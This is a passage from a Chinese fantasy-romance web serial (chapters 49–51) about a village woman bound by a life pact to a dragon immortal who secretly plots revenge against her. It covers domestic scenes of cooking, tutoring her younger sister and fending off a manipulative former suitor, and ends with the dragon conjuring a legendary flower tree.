厚着脸皮跑过去就把手放在了他盘在地面的龙尾上…… 龙鳞冰凉,触手如水。 掌心顺着他尾部线条往下抚…… 鳞滑似玉。 摸起来的手感,像在抚一匹丝线冰滑的水绸。 满足舒爽的快感沿着脊骨窜上后脑勺,酥得人头皮都麻了。 我忍不住发出变态的感慨:“啊龙王大人你的龙鳞手感真好!” 指腹胆大地顺着他鳞次栉比的紫甲边缘细细摩挲……他的鳞片下,渗出丝丝寒凉。 却没让我感受到半分不适。 手从上往下抚,掌心传来的酥爽感令我欲罢不能,摸了还想摸。 “好滑,好硬,好喜欢!” 夏天抱着睡觉,一定很舒服吧! “龙王大人,你真好看!” “人形好看,龙形也好看!” “啊啊啊啊太好摸了——” 龙王大人的尾巴还是七彩的! 微微摆动,似祥云起伏,水浪粼粼。 我摸上了头,不要脸的索性贪婪的一把抱住他—— “啊——抱起来的感觉,也超赞!” “龙王大人,你怎么这么好看,这么好摸呢。” “龙王大人……你好香啊!” 龙王大人是条身上染花香的大紫龙! 我倍感满足的同时,心脏抽动了两下,是他……在紧张? 他僵着龙身嫌弃拧眉,“风萦,你能不能不要发出这么、流氓的虎狼之声!” 我抱住他贪婪蹭蹭,欣然点头,对他百依百顺:“好好好,我不叫了。” 他被我抱得甚是不自在,动了动龙身,拿我没办法的吐口寒气:“以后,不许乱摸旁的仙家!” 我再次点头:“好好好,我以后不想着摸胡玉衡他们了,但……你得给我摸!你给我摸,我就不摸别人了!” 他胸口起伏沉重急促地闷哼了声,“本王……一言为定。” 想了想,他又没好气问:“你以前,是不是也这么摸那条黑蛟的?!” 我抱着他,将侧脸贴在他冰冰凉凉的鳞甲上,心满意足的安逸闭眼:“才没有呢,我没摸过仙家们的原形,我怕他们嫌我冒昧。” “那你今天,还想摸那条狐狸?” “这不是混熟了嘛,胡玉衡脾气好,我就算冒昧摸他,只摸一下,他还是能忍我一回的。” “那,本王呢?你摸本王,就不冒昧了?” “你不一样。” “本王如何不一样了?” “你是帝曦啊,你是龙仙,更冒昧的事我都干过…… 我吧,就是仗着你嘴硬心软,仗着你不会厌弃我,伤害我…… 你是心软好哄的龙王爷啊,你的好,他们加起来,都比不上。” 胸膛内的那颗心扑通扑通重重跳了两下…… 紧接着猛地加速! 真龙胸口起伏也乱了节奏。 龙仙大人哽了哽,心底的某种冲动愈发强烈—— 下一秒,龙爪揽住了我的脑袋,龙仙大人霸道命令: “以后,只许摸本王!若再让本王发现你对那些野仙乱伸爪子,本王剁了你!” 我闷在他怀里,爱不释手地摸他腰腹:“记住了记住了!” 有龙摸,谁还撸别的小动物啊! 奈何龙仙小气,只给我摸半个小时就化回人形了。 我还想再和他商量一下能不能提供个延时服务来着,可看见他那张阴沉着的俊脸……我只好乖乖把话咽回肚子里。 确实不能太过分了哈,不能真把他惹毛了。 只是,夜里,我再次臭不要脸钻进他怀里,搂住他的腰,呼吸匀长枕着他胳膊睡时…… 手没克制住,偷偷伸进了他的衣襟里。 “龙仙大人……你有腹肌吗?” 他:“……” 我壮着胆子嘀咕:“我听说,身材好的男人都有腹肌……龙仙大人你没有吗?” 他许是被我吵犯了,抓着我的手便按在了他梆梆硬、沟垒分明、线条流畅、冰凉光滑的腹肌上! “再聒噪,本王把你踹下去!” 我呼吸一顿,马上听话地摸着他腹肌,一头闷他怀里继续睡了。 不过…… 龙仙大人的腹肌,和他的龙鳞一样好摸哎! 自从江墨川在龙仙大人这吃了亏后,风柔那边倒是消停了两天。 这两天仙家们在家里除了晒太阳就是辅导流苏做练习题,我则有时间钻研起了各种美食。 有龙仙大人这个捧场的食客在,我又重新拾起了自己的厨艺,变着法做新菜给龙仙大人品尝。 龙仙大人也从一开始吃得犹犹豫豫,到现在逐渐习惯,只要我端菜上桌,他就主动拿筷子品鉴。 他是第一个愿意品尝我新菜的人,也是第一个夸我做菜有天赋的人…… 似乎,只有在他身边,我的努力才能得到明确的认可。 “爆炒田螺,红烧鲤鱼,翡翠豆腐汤,三鲜小泥鳅,桃花蒸蛋羹。” 我欢喜地把五道菜摆上桌,先给他盛了碗蛋羹,再给他拿个小勺子,一脸期待地坐等他评价。 “快尝尝,帮我检验一下有没有需要改进的地方。” 他先尝了勺桃花蒸蛋羹,然后依次品尝剩下几个菜,品完一遍才颔首:“还不错,虽然都是水里的东西,但处理得很干净,没有杂味。” 鱼仙余惊云在牌位里默默流泪:“呜,怎么能吃鱼鱼……” 柳云衣端着饭碗淡定上桌:“你不吃?不吃都归我们了!” 余惊云闻言忙从供桌上飞下来,落地化为青衣美男,着急举手和帮忙盛饭的流苏打招呼:“苏苏,我也要一大碗!” 往日不怎么露面的仙家们也都被今天我做的这一桌子菜给吸引了出来,纷纷嚷嚷着要一饱口福。 家里很久没像现在这么热闹了,仙家们一个个争抢着去夹菜,我怕龙仙大人抢不过他们,还特意帮他夹了许多。 原本我还想着再给苏苏也夹点的,谁知扭头就看见胡玉衡已经把苏苏碗里堆成了个小山。 得,苏苏用不上我照顾了…… 吃完饭,苏苏趴在院子里的大桌子上写作业。 柳云衣与蟒仙他们则去厨房里收拾锅碗瓢盆。 我慵懒地躺在摇椅上晒太阳,揉了揉肩上隐隐作痛的鳞伤,闭目养神。 苏苏这小丫头近来也学会了耍滑,遇见不会写的数学题就找我聊八卦。 我刚感受到丁点困意,小丫头就凑过来晃了晃我, “二姐,你最近也春困吗?这两天你好像一有空就在打瞌睡。” 我点点头:“嗯,春天容易乏。” 何况,又快到十五了。 我这两天已经明显感觉到身子沉重,身上没力气,精神萎靡了。 苏苏又挤过来些: “二姐,你做菜的手艺真好,堪比五星级酒店的大厨! 但为什么,你总觉自己做的菜难吃,前两天只许姐夫尝呢。 你好像,很缺乏自信,只有姐夫的话,才能让你生出信心。” 我有气无力说: “因为从小到大,我从没被任何人认可过。 小时候村里人说我是黄河龙女转世,能保槐荫村岁岁风调雨顺,免遭水患。 还说黄河疼爱我,会送上金沙金块子来感谢槐荫村的村民抚养我。 一开始,他们的确真将我奉为神明,无微不至地照顾着。 可自从黄河不再送金子上来后,我就成了他们口中的假货,扫把星。 他们怀疑我龙女转世的身份,所以在我哭着告诉村里人,大伯剥了我的龙鳞时,大伯只用几句话就让村里人相信我是在撒谎。 毕竟除了大伯大娘和风柔,没人真见过我身上的龙鳞。 曾经,我也将村里这些人当做救命稻草过,可惜根本没有人在意一个不能为村里带来福利的龙女是生是死。 当一切好处都被黄河断崖式收回后,连我的龙女到底是真是假都显得无关紧要了。 再后来,江墨川故意给我错误信息害我骗了邻居们一次又一次,更坐实了我爱撒谎这个罪名。 在龙仙大人没有出现前,我得到的所有反馈都是负面的。 杨泽安倒是会常夸我,但无论我做什么他都会一股脑地夸就完了,反而让我感觉他的夸奖好像可信度不高。 加上,长大后我们见面的次数并不多,这四年来,我的身边只有江墨川,我似乎,都习惯了做什么都被打压否定的感觉。 苏苏,你感受过,被困在阴雨中很久很久,突然,有缕和煦阳光从阴云的裂缝中洒下来,将你温柔包裹其中,让你冻僵的四肢终于感受到暖意的感觉吗? 龙仙大人前天夸我野菜饺子做得好,说我心灵手巧时,我就是这个感觉。” 苏苏心疼握住我的手,眼角凝出潮湿:“二姐……” 我睁开眼,真心实意道: “就算龙仙大人当时只是随口一说,可也足以温暖我的整段人生。 何况,龙仙大人他就是嘴硬心软,面冷心热,苏苏你不晓得,我做的菜,无论他有多么怀疑菜的口味,他最后都会一样一样,认真地品尝。 这种被人重视,被人惯着,被人无条件相信的感觉……我很喜欢。 只有在他面前,我才能感受到,我被人在意着,我活着,也不是完全没有意义。” 苏苏鼓腮吃醋,握紧我的手小声咕哝:“可是二姐,这些我也可以做到。” 我被她逗笑,抬手摸了摸她终于被养得稍微圆润些的小脸蛋: “你和他不一样,你是亲人,他……是恩人!苏苏,从今往后我也会照顾好你的。” 苏苏歪头用脸蛋蹭了蹭我的手背,“嗯,二姐,你不会再是一个人了,你有我,还有姐夫!” 我打了个哈欠,摸摸她脑袋,撑不住的言语含糊不清道:“你快写作业,不会写的拍照识图上网查,我先睡会。” 苏苏哦了声,紧接着像是突然发现了新大陆,亢奋道:“还可以上网搜答案啊!” 我闭上眼昏昏欲睡,没心没肺地带坏她:“要不然你以为我当年都是怎么逃过颜如玉他们的夺命连环拳的?” 苏苏:“哦——学到了!二姐你真是我的大救星!” 随即从我口袋里掏出手机,立马喜滋滋地上网搜答案去了。 不知过了多久,一片花瓣砸在了我的眉心,惊得我眉头一紧。 但不想清醒,又歪头继续睡了。 圆珠笔摩挲纸面哗哗作响的动静突然停下。 “姐夫!” 第一卷 第49章 风萦是他的杀父仇人 “嗯。” 有人将一件衣服搭在了我身上,给我遮风。 “今晚会起大风,你和胡玉衡去把衣服收了。” “哦,好!” 女孩的脚步声渐远。 鼻尖被某人轻轻刮了下。 “本王是你的索命阎罗,你却将本王视为此生的第一缕阳光…… 风萦,千年后,立场对换,待本王对你痛下杀手那日,你是否也会像千年前的本王那样,肝胆俱裂?” 消失已久的那道诡异的稚嫩幼童声再次出现: “大王你才舍不得杀娘娘呢,大王你明知共生契最简单的解契之法就是杀了结契……” “闭嘴!” “哦……可你那晚,还是在感应到娘娘被你掐得窒息,在经历极致的恐惧与痛苦时,选择放手,不再继续。 承认吧,你就是对娘娘余情未了。” “本王那是、放长线钓大鱼!你懂什么。 本王要成为她生命中唯一的那缕光,然后再杀掉她,狠狠抛弃她…… 像千年前,她对本王那样……” “大王,你真的是这么想的吗?” “不然呢,不如本王将你打入黄河深渊封印千年,你去尝尝不见天日,河水冰冷刺骨,被九条锁链穿透脊骨的滋味?! 本王现在留着她,便是要等有朝一日,她九片龙鳞归体,恢复神躯,再亲手斩断她的神骨,取走她的神髓为己所……” 耳边好吵,我呛了口凉风,闷咳一声。 翻身时遮在身上的衣物下滑,被人及时抓住,重新遮好…… “出息,偏要在外面睡,不知道自己的身子这几日最是脆弱么!还冷?本王带你回屋。” 那诡异的稚童声干笑两下:“大王你、怎么不继续说了?大王你怕被娘娘听见,娘娘伤心?” “本王、要你管?” “哎,大王你这就是典型的口嫌体正直嘛。 大王你心中有怨,小的特别能理解,这千年来,大王你受苦了。 不过,大王你上次也去镇水楼看过了…… 娘娘突然变成凡人,只有两个可能,要么是飞升历劫,转世修行。 要么,是身消道陨,侥幸轮回。 若是飞升历劫,娘娘的神像里是会留有两缕神识,以保身在其位能顺利履行神职的。 可如今,娘娘的神像里已经没有神识了,那就证明,娘娘是死了…… 小的回黄河打探过,虽说河底无妖知晓娘娘已死的消息,可龟爷爷告诉我,娘娘自千年前现身黄河治理水患后,就再也没出现过。 千年前那场水患乃是因您而起,水患平息,您也被…… 所以,娘娘是在您出事后,就跟着没了的。 娘娘那么厉害的神,怎么可能突然就陨落了…… 而且还是陨落在您出事后那个节点。” “本王、也想知道,当年到底发生了什么。” “还有,黄河龙宫那道结界不是娘娘设的,听说那道护宫结界是您兄长死前所化。” “他也死了?” “对啊,据说大殿下死后,当年龙宫所有知情人都被灭了口…… 现在水底的鱼妖河怪们都只知道黄河龙宫千年前有罪神犯了天规,触怒上苍,娘娘代天行刑,平息黄河水患。 只知道后来老龙王与您兄长都死了,新王继位,剩下的,就不晓得了。” “那两位不是命比金刚石还硬么,怎么会死。难道……风萦,你是想将黄河龙族斩草除根么!” “啊?您怀疑是娘娘……完了完了,杀父之仇啊! 大王,杀父之仇不共戴天,不如就趁现在,小的帮您解决了她!” 一股寒气直袭我面门,我迷迷糊糊睁眼,却见朦胧视线里,一只大手凝聚神力将撞向我面门的水球一掌震碎。 下一刻,我松软的身子被他揽入怀中,严实护住。 沉重的眼皮再次垂下。 好累…… “放肆,谁允你对她动手的?滚出去!” “哎呀大王,大王别追杀我了,我错了! 我这不是想替大王分忧吗……再说,小的就吐个泡泡而已,撞不死娘娘! 大王你怎么表里不一呢呜呜,说好的要杀娘娘报仇,你现在还护上了…… 大王你不做人呐——” 聒噪的仓皇喊叫声在我耳边没完没了地回荡,钻得我脑子疼。 我一觉睡醒,从床上爬坐起来,才发现身上盖着龙仙大人的墨紫外袍…… 外面天渐暗,黄河边又刮起了大风。 风沙打在木框磨砂玻璃窗上,噼里啪啦一阵杂音。 胡玉衡与流苏蹲在院子内的水井边洗车厘子,我揉揉眼睛走过去好奇问: “这个时节哪来的车厘子?” 流苏洗了个红彤彤的果子送给我: “泽安哥拿来的,说他家老伯今天追来催他结婚了,这些车厘子就是他家老伯顺路带的。 一共带了两箱,他自己留一箱,给咱们一箱。 对了,他还拿了几颗巨无霸荔枝过来,闻着好香,二姐你起床了咱们快分分,震野哥都馋得流好几回口水了!” 杨泽安这狗东西真不愧是有钱人,随便送箱车厘子就是鸽子蛋大的顶级车厘子。 送荔枝还是巨无霸荔枝,这种反季节水果可比应季贵好几倍。 托他的福,咱们也是过上了有钱人的嘴瘾。 看着白仙虎仙蟒仙他们三蹲在厨房外馋得两眼发直的模样,我赶紧让流苏把巨无霸端出来。 杨泽安送的量正好,十二枚荔枝,分下去一人一个,多出来的那枚归流苏。 虎仙把荔枝一口吞进嘴里,心满意足的嚼半天才咽下,意犹未尽地抱怨:“好吃是好吃,就是太少了,杨泽安那小子真抠,就给咱们一人送一个!” 流苏捧着荔枝舍不得吃:“这么大的荔枝,肯定比普通荔枝贵吧……” 说起贵,我还真发现眼前的荔枝有点眼熟…… 好像去年在哪个新闻上见过。 我不放心地掏出手机,直接发信息问杨泽安:“你送来的荔枝是什么品种?” 对面秒回:“呀?你看出来了!眼光不错嘛!就是阳春晴雪!” 我拿着荔枝的手猛一抖! 眼皮狂跳不敢相信的咕咚吞了口口水…… “新闻上,十万块钱一枚的那玩意?!” 聊天界面上方显示了二十来秒对方正在输入语音的提示。 二十来秒后,杨泽安发来了一条语音。 我胆战心惊地点开,扬声器传出杨泽安半死不活的抱怨声: “这棵五百年母树上结的荔枝统一叫阳春晴雪,但树上果实是分等级的。 荔枝树最下层的荔枝是一级,中层二级,上层三级,顶上长得最大最好的是特级。 你们家里的就是特级,十万一颗的是一级果,特级果应季三百万一颗,反季拍卖会上能炒到两千万一颗。 不过你们不用有压力,这荔枝不是我买的。 荔枝母树是我那个联姻对象家的,这是她昨天摘了送到古董城的,今天一早贺伯就把它带过来了,也不知道在冰箱放一夜口感有没有大打折扣。 你们吃吧,我就不吃了,联姻对象送的,我怕她在荔枝里下毒。” 他这轻描淡写的形容,让我有种现在钱币贬值了的错觉…… 流苏手里捧着刚剥开的荔枝,嘴都张开了,却迟迟下不去那个口。 半晌,流苏哭唧唧地捧着荔枝进了堂屋: “这么贵的东西,我不应该吃进嘴里,而是该把它供在屋里!” 胡玉衡尴尬咳了声,“那个,供在屋里会默认是咱们的贡品然后被某个家伙吸收掉。” “那还是算了吧!”流苏顿时止住哭腔,盯着荔枝哀伤不已:“就让它,住进我的胃里吧!” 鱼仙无法共情地问:“两千万是多少……很贵吗?” 胡玉衡扎心回答:“这么说吧,小萦现在的存款还没有两万。” 我:“……” 真想当场哭给他看,再问问他三十六度体温的嘴里是怎么说出这零下八百度话的! 我的那枚荔枝终究还是没舍得吃,晚上哄着龙仙大人一人吃了两枚。 龙仙大人本来不怎么喜欢吃甜的东西,荔枝这种高糖水果拿到龙仙大人面前,他的第一反应也是果断拒绝。 但架不住我软磨硬泡把荔枝剥开喂到他嘴边,这才强迫他皱眉黑着脸把荔枝吃了。 他吃完荔枝,看见我托腮盯着他发呆,无奈问了句: “你是想把好的都留给本王?其实,大可不必这样,本王活得比你久,这世间什么好东西本王没见过。” 我摇摇头,一本正经道:“不,我在投资!” 龙仙大人:“……” 片刻,他起身,抄起床上的枕头扔我脸上,咬牙嫌弃道:“本王就不该相信你的良心!还投资!” 哎,龙仙大人什么都好,就是脾气有点小差。 —— 家里有龙仙大人下的结界,江墨川如今靠近不了我们家,我也因此过上了几天安生日子。 赵大山那边是阿乞师叔与杨泽安在盯着情况,不过听杨泽安说,江墨川最近也在查赵大山前妻和女儿的事。 看来他也察觉到柳云响和赵大山前妻有关联了。 但让我没算到的是,江墨川不能进我家骚扰我,就选择在半路截我…… 我早上拎着菜篮子去给村长江叔送自家种的小青菜来着,回来路上却被江墨川挡住了前路。 我看见脸上罩着阴霾的他,二话没说转头就换条路走,可他竟身影一晃,再次挡在了我面前。 不等我继续躲他,就抓住我的胳膊语气低沉道: “萦儿,你在躲我?你什么时候,与我这么疏离了。” 我被他这声萦儿叫得浑身起鸡皮疙瘩,甩开他的手往后退一大步,拉开与他之间的距离, “我姓风,叫我风萦,我们之间本来就不熟!” 他眸色一沉,喉间滚了下,这次没有再强势地指责我,而是改走深情路线: “我在家等了你五天,我想着只要你来找我解释,我就给你个机会,原谅你一次,可这五天,你一直没出现。你没出现,我就只能亲自来找你了。” 我听罢不禁冷笑:“你原谅我?要不然还是别原谅了吧,你不如恨我一辈子,只要别来烦我你爱怎样怎样!” 他深深瞧了我一阵,看着我脸上决绝,从广袖里掏出一张红盖头,递给我,浅声道: “萦儿,你上次去镇上,不是说喜欢这家老太太绣的桃花红盖头么? 其实,本尊之前说的都是气话,本尊说不娶你,只是想让你,让一让柔儿。 你想要的,本尊都会给。 只是本尊不能明面上给你,柔儿心思细腻敏感,若是知道本尊给你买没给她买,肯定会伤心…… 萦儿,你能不能懂事些,你不是喜欢本尊么,为本尊受点委屈又何妨?” 我被他不要脸的话术给听笑了, “你真瞧得起自己,且不说我根本不喜欢你,就说受委屈,我凭什么为你受委屈,你当你是谁啊!” 我没要他的红盖头,转身要走,又被他着急拦住。 他一把抓住我的双臂自以为是道: “萦儿,你别骗我了,你和那条龙在一起无非是想借他的寿,想利用他报复本尊,本尊都明白…… 你听话,等本尊解决完手头的事,本尊就来接你走,那些事本尊都可以向你解释的,本尊以后,会好好待你。” 我昂头盯着他,满目鄙夷。 撒谎成性的人,从来都是他。 “不过在此之前,本尊想让你答应本尊一件事。” 第一卷 第50章 可能,她也相信你无罪 他见我没反应,以为我被他说动心了,立马道出真正目的: “本尊想让你答应本尊,不要再去赵大山家,也不要再管那条蛇妖的事了。 把蛇妖让给本尊处理,蛇妖身上,有帮柔儿治好身子的东西。” 他是想用蛇妖内丹给风柔治疗身体? “等本尊把那东西拿到手,让柔儿好起来,本尊就去你家接你。” 说完,他还假装深情地凝视着我:“风萦,本尊心里有你。” 把红盖头塞进我手里,他做完最后一步才匆匆化作黑雾一阵寒风卷走…… 我看着手中的红盖头,恶心地把那团红色扔路边。 为了不让我坏他好事,连出卖色相的事都干,没有底线! 不让我去赵家……我偏去! 我又不需要蛇妖内丹,更不会和他抢,他这么一而再再而三阻止我去赵家,反而显得其中有古怪。 回到家,苏苏刚从颜如玉的物理课上解脱出来。 颓废的抱住我胳膊欲哭无泪: “二姐,你当年上学学这些玩意的时候,也这么煎熬吗? 那什么电阻电机额定功率,算得我头都大了,本来就数学不好,物理还要计算数字。 数学好歹会把每一个数字怎么加减乘除都给列出来,只需要算答案就行了。 物理给出的数字还得自己猜怎么加减乘除,虽然有公式吧,但大公式里还要套小公式。 让我背文言文不成问题,让我背公式,我头好疼啊……” 我心疼摸摸她学到炸毛的小脑袋: “没办法啦,人都要经历这一遭。忍一忍,等高中知识全部学个七七八八了,你也就出师了。 听不懂没关系,可以让颜老师多给你讲几遍。 不求门门一百二,但求以后你如果想离开槐荫村,去外面的世界看看,不至于别人说的话你听不懂。 苏苏你要记住,学习不是你人生的唯一出路,但学习却可开阔你的眼界,增长你的见识,可以让你眼前的世界不再局限于这一个小小的槐荫村。 不学习,你只知黄河岸边风大浪急,灰沙眯眼,有网络,能让你晓得在世界的另一端,有的地方四季如春。 可学习却能让你知道,为何那个地方,冬日不下雪,夏日不高温。 虽然,这些知识等你需要的时候也可以现学,但教育是具有前瞻性的。 知识提前进入你的脑子,总比你需要的时候还得向外界索取靠谱多了。” 苏苏听话的点头,像只乖巧的小鸟般依偎在我怀里,小声说: “累归累,但二姐,小时候看着家里的堂哥堂姐们都能去上学,我是真的好羡慕。 从小到大,我唯一的梦想就是上学,就是能和同龄人一样读书识字,学习语文数学…… 我本以为,这辈子再也没机会了。可老天爷疼我,二姐疼我。 哪怕现在我学得吃力,能识字涨知识,我也还是很开心。” “苏苏,从现在开始,你小时候没能拥有的,二姐都会尽力给你补回来。” 我宠溺地刮了下她鼻梁,“对了,你姐夫呢?” 苏苏摸摸鼻头说:“姐夫出门了,说是去黄河边走走,还带上了云衣哥哥!” 我哦了声,挑眉半开玩笑道:“龙仙大人有进步,现在出门都学会报备了。” 苏苏开心点头:“可不嘛!姐夫说怕你回来不知道他去哪了,白担心。他还说他办完事自己就会回家,你不用出门找他。” 我拎着菜篮子拉上苏苏:“那咱们去洗菜,中午给你做好吃的!” “好!” 中午十一点多,龙仙大人和柳云衣准时回家吃饭。 龙仙大人回来时脸色有点不大对,而我也的确清晰察觉到,从上午十点钟那会子,我的心情就莫名一阵压抑…… 也不知道龙仙大人与柳云衣上午到底遇着了什么事,我还是第一次感受到龙仙大人如此强烈的压抑情绪。 为了让他老人家心情缓和些,也为了我自个儿能好受点,吃饭期间我特意给他夹了好几次菜企图转移他的注意力。 可他每次与我目光交汇,我的心都会莫名酸痛一下。 他与别人对眼就不会! 难道他心情不好的原因,在我身上? 不至于吧,我这两天也没惹他啊。 午饭后,我忍无可忍地拽柳云衣出门,旁敲侧击地问他和龙仙大人上午干嘛去了。 但柳云衣却说,他上午只是陪龙仙大人在黄河边散步,聊了会子天,旁地啥都没干。 我更一头雾水了,啥也没干能把他聊抑郁了? 不过……我忽想起龙仙大人之前说,他回不去家了。 他的家,应该就在黄河之下。 难道是想家了? 龙仙大人为什么回不去家了,是因为修为没有恢复,功力不够吗…… 我没来得及仔细问,柳云衣就被颜如玉叫回堂屋进牌位修炼了。 不久,龙仙大人见我一个人在院子里看桃花,便走过来沉声问:“你怎么知道,本王心情不好?” 我心虚闷咳了声,一本正经地忽悠他:“我、看出来的啊!你瞧着就很不开心。” 他面不改色地瞟了我一眼,冷冷戳破: “共生契能让两人心感相通,你能感受到本王心情沉重,本王也能感受到你在心虚。 是杨明昊告诉你的?” 杨明昊是杨大哥的名字,他还有个小名叫杨大头来着…… 眼见瞒不住他了,我只好尴尬坦白:“嗯……” 歪头直接问他: “所以你怎么了?想家了吗?是法力不够,修为没有恢复才回不去? 我这几天身体养得还不错,你要是不嫌弃的话,可以试试我的血……” 我撸起袖子,袖口刚露出腕部那几道陈年刀痕,手腕就被他的大手攥住,他冷脸没好气道: “别人不把你的性命当回事,你自己也作践!自己都不懂得爱惜自己,如何指望他人珍惜你!” 我被他训得不好意思低头:“我就是想帮帮你嘛,你不愿意,就算了呗。” 见我有点委屈,他无奈黯下眸色,大手从我的腕部滑下,悄然握住我的指尖,“风萦。” “嗯?” “若是有一人……无视你的冤屈,将你打入无底深渊,害你受罪千年。 可她……却没有将你的罪名公之于众,没有剥夺你所拥有的一切。 在外人印象里,你依旧是个高高在上的、神。 无人知晓你所受苦难,也无人听闻你曾经的大逆不道。 是,为何?” 他说这话时,指尖在抖。 我握紧他的手,想了想,分析道: “你的意思是,我被人冤枉,作为审判者的她没有为我洗清冤屈,还把我抓去蹲了很多年大牢…… 但我从牢里出来后,却发现别人根本不知道我被人抓去蹲局子的事,我还是原来的我。 甚至多年前他们强安在我头上的罪名,外界也丝毫没听闻?” 他淡淡嗯了声,沉默几秒,问我:“若你是那个审判者,你会为何,这样做?” 我平静说: “有没有可能,她知道你是冤枉的。把你关进大牢,只是不得已而为之。 毕竟,她如果真想杀你,完全可以在你被关的这些年,悄悄动手,斩草除根。 甚至,她可以直接判你死罪嘛…… 没有公布你的罪名,可能,她也是从头到尾都不认可你有罪。 她是在,保护你的名声……” 他听罢自嘲弯唇,冷哼一声:“你真有这么好心么?” 我不服气道: “那我肯定能做得出这种事,毕竟我天生就有一副正直善良的慈悲心! 别人就不知道了,也有可能是你太强了,杀你有难度。 然后恰好那个审判你的人又恨透了你,怕你的那些罪名传扬出去没有说服力,外界会起非议。 所以就动用私刑先关你个几百年好好折磨你,让你不死也掉层皮…… 所以,帝曦,你当年到底犯什么天条了?你吃人放火了还是拦路打劫了?” 我顺手挽住他的胳膊厚着脸皮眼巴巴地好奇问。 他低眸瞧了我一阵,故意唬我: “本王吃人了,本王这辈子没什么癖好,尤喜食二十来岁细皮嫩肉的年轻小姑娘。 如此美味,本王一口能吞十个!” 二十来岁的小姑娘…… 我才不信他! “那你去吃风柔吧,风柔皮肤嫩。我皮糙肉厚的吃着塞牙,而且我身体不好,吃了容易闹肚子。” 他拧眉嫌弃:“风柔?你很会恶心本王。” 我挽着他重重一叹:“那你再忍忍吧,等我将自己养得白白胖胖了你再吃我。” 他脸色稍霁,鼻尖总算溢出一声笑嗤。 我抬眼看着头顶的桃花树,感慨道:“今年的桃花,开得有点晚,现在还稀稀零零的。” 他静了静,抬手于掌心凝出一粒花种,“桃花有什么好看的,给你看点好的。” 银光笼罩的花种从他掌心上方飘出去,飞至我们堂屋西头我们住的屋子窗外,落地生根。 嫩芽破土而出,根茎迅速虬扎在泥土深处,芽心抽出节节青嫩藤蔓,枝叶绽出熠熠白光。 藤蔓见风就长,越攀越高,待长至半米高时,根茎处又再生出无数条青嫩附藤。 后破土的嫩藤只眨眼间便追上了主藤的生长速度,密密数十条青藤交缠成一股,凝成强壮耸立的树干及树枝。 无数藤条从枝头垂落,形似春日拂柳,藤上绿叶随风起伏,叶下垂挂千万串紫瓣微拢的玲珑花苞…… 这是…… “紫藤花?”我又惊又喜地问他。 花树高耸,树冠都高过我家屋顶了,垂下的千万花藤似一泓紫色云瀑。 花串上的花盏虽大部分都暂处于含苞待放的状态,可细瞧,还是有些许小花在温暖天光下舒展瓣络,悠然绽放…… 我好奇靠近花树,伸手捧起一串玲珑紫花,这才发现这花与我印象中的紫藤花不一样。 眼前这花,开花时花有四瓣,两大两小,花蕊是金色吐丝状,花瓣外翻,瓣头尖尖。 看起来外形神似一只展翅附于花串上的凤尾蝶…… 微风拂过,蝶翅轻舞,曼妙灵动。 可比我之前见过的紫藤花美上千百倍! “此乃,紫水玉灵花。生于黄河深处,乃是仙境灵花。 与你们人间的紫藤花确有相似之处,若非要论一层关系,此花算是紫藤花的姨祖奶奶。” 他负手信步走到我身侧,抬眸欣赏满树紫雾流华,平静讲述: “相传,此花乃是开天辟地后,神造万物前,伏羲大神用女娲娘娘的一根青丝施法幻化、精心培育而成,是伏羲大神送给女娲娘娘的生辰礼。 女娲娘娘对此花,尤为钟爱。连离开六界神域,前往凡世抟土造人,都要带上此花。 昔年女娲娘娘在黄河之畔,仿着自己的身形以泥土捏出灵物,又渡了其一口仙气,令其生出独立灵识,世间由此,诞生人类一族。 女娲在黄河边创造人类,这紫水玉灵花,也留在了黄河之畔。” 第一卷 第51章 连自己亲女儿的尸体都不放过 他抬手,接住被风吹下枝头的一盏紫花: “看见此花花心处的一抹白色了么? 据说,昔年女娲大神与西王母奉神祖之令前往凡世造万物,制定天地秩序,伏羲大神则跟随神祖,继续征战八荒六合。 女娲娘娘与伏羲大神分别之后,仅能朝朝暮暮对着一树紫水玉灵花倾诉相思。 然,大业将成,女娲娘娘尚未来得及与伏羲大神重逢,伏羲大神便不幸在八荒之劫中陨落了。 女娲娘娘得知噩耗后,一滴泪落在了此花花心处,自那后,世间所有紫水玉灵花的花心,皆有女娲娘娘一滴泪痕。 原本此花,是生在黄河岸上的,伏羲大神陨命后,女娲娘娘一见此花,便以泪洗面。 西王母不忍见最好的朋友日日消沉,便将此花托付给了黄河龙族,命龙族世代守护此花,不可令之凋零。 于是,此花才被移植入黄河龙宫。 只是,黄河龙族虽尽心养护女娲娘娘的那树紫水玉灵花,可万年后,女娲娘娘二度补天殒命,那树花,还是凋零了。 直到九千年前,一神女入黄河龙宫,看见枯死的紫水玉灵花,无意伸手一抚,才令紫水玉灵花起死回生。” “伏羲大神,女娲娘娘……” 我震惊地从他掌中拿过那盏凤尾蝶状小花, “这花的故事,还挺浪漫!能让枯死那么久的仙花灵树起死回生,那位神女真厉害。” “是啊,她是不简单。” 龙仙大人垂下眼睫,藏住眼底层层漾开的眸华,“她便是你们在镇水楼供奉的,水神娘娘。” 我捧着花,闻了闻花蕊透出的浅浅清香,又抓过他宽大的袖摆放在鼻前嗅了嗅,恍然大悟: “我终于知道了!帝曦你身上,就是这花的花香!” 他顿了顿,深深看我一眼,随后把我掌心的小花又拿回去,抬袖给我插在了鬓边。 指腹顺着我的耳廓,轻轻摩挲过我的耳根再收回,他凝望着我鬓边的小花,唇角微微上扬。 “风萦,本王,允你多活几日。”他没良心地弹了我一个脑瓜崩。 我眉头一挑,无奈道: “你又来!成天就会拿我的小命吓唬我。 不过,我今天又发现了一种好食材,等我剥完晚上给你炖鱼汤!” “什么食材?” “野茭白啊,拿来炖大鲤鱼,超香!” “你除了做菜,就没有别的爱好了么?” “你就说我做菜这个爱好你有没有受益其中吧!” “……” “对了,你等会能不能把蟒仙大佬放出去一下。” “有事?” “我想让他跳黄河里给我抓两条大鲤鱼,晚上好煲汤。” “……” 可惜的是,晚上这口汤龙仙大人是注定喝不上了。 太阳刚下山那会子,苏苏被我拖进菜园子里薅蒜苗了,做鱼没有葱姜蒜去腥,美味少一半! 我本想顺手给旁边两块空菜地松松土的,但松着松着,我就没忍住团起了泥巴。 帝曦问我有没有别的爱好,我实在不好意思告诉他,我的另一个爱好是玩泥巴…… 这个爱好在乡下村里听起来确实有点土……还有点丢人。 但上了大学后我才知道,玩泥巴还有个高雅的称法,叫泥塑。 大学那两年,一向班里专业课成绩倒数的我,却在学校举办的泥塑大赛中连拿了两年冠军。 就连江村长都说,我是个干泥匠的好苗子。 毕业后回村,我试图在村里找找能发财的路子。 村里的捞尸人李师傅看中了我能在水下观物的本事,率先朝我投来了橄榄枝。 